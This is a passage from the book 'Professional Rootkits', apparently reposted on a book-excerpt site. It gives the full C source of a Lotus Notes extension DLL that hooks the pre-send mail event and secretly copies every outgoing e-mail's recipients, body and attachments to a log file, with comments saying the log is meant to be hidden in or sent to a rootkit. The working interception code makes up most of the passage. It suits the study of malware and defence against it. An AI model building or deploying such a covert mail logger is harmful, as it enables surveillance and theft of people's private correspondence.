The file LotusExtension.c provides the implementation code for the Dynamic Link Library. There are ten functions in this file. The functions within the file appear in reverse order to allow the compiler to parse the function prototypes without the need to include them in the header file, so reading the file from bottom to top will be more informative. As such, the functions are listed here in reverse order:

  • DllMain–This is the function called by the operating system when the library is loaded.

  • OnSendMail–This is the function registered to be called before each e-mail is sent.

  • MainEntryPoint–This is the function called by Lotus Notes after loading the library.

  • DeregisterEntry–This function removes OnSendMail from the pre-send event call list.

  • RegisterEntry–This functions inserts OnSendMail into the pre-send event call list.

  • SaveRecipients–This functions parses recipients and sends the results to LogContent.

  • ParseRecipientList–This function can be used to join multiple destination lists.

  • SaveAttachments–This function sends attachments to LogContent.

  • SaveBody–This function sends the body of the e-mail to LogContent.

  • LogContent–This function logs e-mail bodies, attachments, and destinations.

  // LotusExtension // Copyright Ric Vieler, 2006 // Filter Lotus Notes email // Windows header files #include <stdio.h> #include <fcntl.h> // Lotus Notes header files #include <global.h> #include <misc.h> #include <mail.h> #include <mailserv.h> // Application specific header file #include "LotusExtension.h" // GLOBAL VARIABLES EMHANDLER filterProcedure; HEMREGISTRATION hHandler; WORD recursionId; // Copy email traffic to a storage directory // (use RootkitDirectory if it is being hidden) // or send email traffic to the rootkit. void LogContent( char* content, int contentType ) {  // Put content into one big file for this example  BYTE buffer[ MAX_PATH ];  size_t contentLength;  FILE* sourceFile;  FILE* destinationFile;  // open the destination file - LN_LOG_FILE  strcpy( buffer, LN_LOG_FILE );  if( (destinationFile = fopen( buffer, "a+b" )) != NULL )  {   if( contentType == ADDRESS_STRING_CONTENT )   {    // content is a string    // write address header    fwrite( "DESTINATION(S):\n", sizeof(char), 16, destinationFile );    // write addresses    contentLength = strlen( content );    fwrite( content, sizeof( char ), contentLength, destinationFile );    // write address footer    fwrite( "\n\n", sizeof( char ), 2, destinationFile );   }   else   {    // content is a filename    if( (sourceFile = fopen( content, "r+b" )) != NULL )    {     // write header     if( contentType == BODY_FILENAME_CONTENT )      fwrite( "BODY:\n", sizeof(char), 6, destinationFile );     else      fwrite( "ATTACHMENT:\n", sizeof(char), 12, destinationFile );     // write attachment     do     {      contentLength = fread( buffer, sizeof(char), MAX_PATH, sourceFile );      if( contentLength )      {       fwrite( buffer, sizeof(char), contentLength, destinationFile );      }     } while( contentLength == MAX_PATH );     // write footer     fwrite( "\n", sizeof( char ), 1, destinationFile );     fclose( sourceFile );    }   }   fclose( destinationFile );  } } void SaveBody( HANDLE hNote ) {  STATUS errorStatus;  DWORD primaryFileSize;  char primaryFile[MAX_PATH];  // Construct temp file name  strcpy( primaryFile, LN_BODY );  // Put the body of the message into temp file.  errorStatus = MailGetMessageBodyText(hNote,   NULL,   "\r\n",   80,   TRUE,   primaryFile,   &primaryFileSize);  if ( !errorStatus  && primaryFileSize > 0 )   LogContent( primaryFile, BODY_FILENAME_CONTENT ); } void SaveAttachments( HANDLE hNote ) {  WORD attachment;  BLOCKID blockID;  char fileName[MAX_PATH + 1];  // Construct temp file name  strcpy( fileName, LN_ATTACHMENT );  // Open the attachment (if any)  for (attachment = 0;   MailGetMessageAttachmentInfo(    hNote,    attachment,    &blockID,    NULL,    NULL,    NULL,    NULL,    NULL,    NULL);   attachment++ )  {   //  extract the attachment   if( !MailExtractMessageAttachment(hNote, blockID, fileName) )   {    // log the attachment    LogContent( fileName, ATTACHMENT_FILENAME_CONTENT );   }  } } void ParseRecipientList( char* recipients, char* buffer, unsigned int* pIndex ) {  int length;  length = strlen( recipients );  memcpy( buffer + *pIndex, recipients, length );  *(buffer + *pIndex + length) = ',';  length++;  *pIndex += length; } BOOL SaveRecipients( HANDLE hNote ) {  WORD stringLength;  char string[MAXSPRINTF+1];  char addresses[(MAXSPRINTF*3)+3];  unsigned int addressesIndex = 0;  MailGetMessageItem (hNote, MAIL_BLINDCOPYTO_ITEM_NUM, string, MAXSPRINTF, &stringLength);  if( strlen( string ) )   ParseRecipientList( string, addresses, &addressesIndex );  MailGetMessageItem (hNote, MAIL_COPYTO_ITEM_NUM, string, MAXSPRINTF, &stringLength);  if( strlen( string ) )   ParseRecipientList( string, addresses, &addressesIndex );  MailGetMessageItem (hNote, MAIL_SENDTO_ITEM_NUM, string, MAXSPRINTF, &stringLength);  if( strlen( string ) )   ParseRecipientList( string, addresses, &addressesIndex );  if( addressesIndex > 1 )  {   // Overwrite last comma with string terminator   addresses[addressesIndex-1] = 0;   // Log destination addresses   LogContent( addresses, ADDRESS_STRING_CONTENT );   return TRUE;  }  return FALSE; } // Register for EM_MAILSENDNOTE - EM_REG_BEFORE events STATUS RegisterEntry() {  STATUS error = NOERROR;  error = EMRegister(EM_MAILSENDNOTE,   EM_REG_BEFORE,   (EMHANDLER)filterProcedure,   recursionId,   &hHandler);  return(error); } // Deregister filterProcedure STATUS DeregisterEntry() {  STATUS error = NOERROR;  error = EMDeregister(hHandler);  return(error); } // This routine is defined by Lotus Notes STATUS LNPUBLIC DLL_EXPORT MainEntryPoint( void ) {  STATUS error;  // Next get a recursion ID  error = EMCreateRecursionID( &recursionId );  if ( !error )   error = RegisterEntry();  return( error ); } // Called when Lotus Notes client is about to send. // Return FALSE to block else return ERR_EM_CONTINUE STATUS LNPUBLIC OnSendMail( EMRECORD* pExRecord ) {  HANDLE hNote;  void   *pViewDesc;  WORD   Flags;  BOOL   *pModified;  VARARG_PTR ap;  // get the arguments  ap = pExRecord->Ap;  hNote = VARARG_GET (ap, HANDLE);  pViewDesc = VARARG_GET (ap, VOID *);  Flags = VARARG_GET (ap, WORD);  pModified = VARARG_GET (ap, BOOL *);  // check for record error  if (pExRecord->Status != NOERROR) return( ERR_EM_CONTINUE );  // filter mail if( !SaveRecipients( hNote ) )  {   SaveBody( hNote );   SaveAttachments( hNote );  }  return( ERR_EM_CONTINUE ); } // Standard windows NT DLL entrypoint BOOL WINAPI DllMain( HINSTANCE hInstance, DWORD fdwReason, LPVOID lpReserved ) {  switch( fdwReason )  {   case DLL_PROCESS_ATTACH:    // Initialize mail intercept procedure    filterProcedure = (EMHANDLER)MakeProcInstance(     (FARPROC)OnSendMail, hInstance);    break;   case DLL_PROCESS_DETACH:    // Free mail intercept procedure    FreeProcInstance( filterProcedure );    DeregisterEntry();   break;  }  return( TRUE );  UNREFERENCED_PARAMETER( lpReserved ); } 

Of the ten functions implemented in LotusExtension.c, only the filter logic within OnSendMain requires additional explanation. This function only saves the e-mail body and attachments when the message has no destination addresses. This is because the Lotus Notes messaging system separates internal e-mail messages from external e-mail messages. Therefore, if your e-mail has both internal Domino specific destinations (e.g., JohnDoe/lotus) and external Internet destinations (e.g., jdoe@lotus.com), then there will be two events: one with a body and attachments but no addresses (for internal destinations) and one with a body, attachments, and addresses (for external destinations). This messaging protocol requires the client extension to skip the body and attachments for messages with addresses because they have already been logged.

Professional Rootkits
Professional Rootkits (Programmer to Programmer)
ISBN: 0470101547
EAN: 2147483647
Year: 2007
Pages: 229
Authors: Ric Vieler

Similar book on Amazon
Rootkits: Subverting the Windows Kernel
Rootkits: Subverting the Windows Kernel
A Guide to Kernel Exploitation: Attacking the Core
A Guide to Kernel Exploitation: Attacking the Core
Reversing: Secrets of Reverse Engineering
Reversing: Secrets of Reverse Engineering
Malware Analyst's Cookbook and DVD: Tools and Techniques for Fighting Malicious Code
Malware Analyst's Cookbook and DVD: Tools and Techniques for Fighting Malicious Code

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net